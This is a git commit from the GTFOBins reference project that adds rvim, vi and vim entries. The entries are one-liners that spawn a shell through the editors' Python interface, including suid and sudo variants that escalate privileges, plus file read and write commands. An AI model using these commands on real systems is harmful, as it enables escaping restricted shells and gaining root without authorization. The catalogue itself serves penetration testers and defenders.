Add vi(m) commands (#39)

This commit is contained in:
Hugo DELVAL 2018-12-03 14:06:41 +01:00 committed by Emilio
parent 46fd726c5a
commit bd0cad0433
3 changed files with 22 additions and 0 deletions

18
_gtfobins/rvim.md Normal file
View File

@ -0,0 +1,18 @@
---
description: 'From the manual: with rvim "It will not be possible to start shell commands".'
functions:
shell:
- code: rvim -c ':py import os;os.system("sh")'
file-write:
- code: |
rvim file_to_write
iDATA
^[
w
file-read:
- code: rvim file_to_read
suid:
- code: ./rvim -c ':py import os;os.system("sh")'
sudo:
- code: sudo rvim -c ':py import os;os.system("sh")'
---

View File

@ -6,6 +6,7 @@ functions:
vi vi
:set shell=/bin/sh :set shell=/bin/sh
:shell :shell
- code: vi -c ':py import os;os.system("sh")'
file-write: file-write:
- code: | - code: |
vi file_to_write vi file_to_write
@ -18,4 +19,5 @@ functions:
- code: ./vi -c ':!/bin/sh -p' - code: ./vi -c ':!/bin/sh -p'
sudo: sudo:
- code: sudo vi -c ':!/bin/sh' - code: sudo vi -c ':!/bin/sh'
- code: sudo vi -c ':py import os;os.system("sh")'
--- ---

View File

@ -6,6 +6,7 @@ functions:
vim vim
:set shell=/bin/sh :set shell=/bin/sh
:shell :shell
- code: vim -c ':py import os;os.system("sh")'
file-write: file-write:
- code: | - code: |
vim file_to_write vim file_to_write
@ -18,4 +19,5 @@ functions:
- code: ./vim -c ':!/bin/sh -p' - code: ./vim -c ':!/bin/sh -p'
sudo: sudo:
- code: sudo vim -c ':!/bin/sh' - code: sudo vim -c ':!/bin/sh'
- code: sudo vim -c ':py import os;os.system("sh")'
--- ---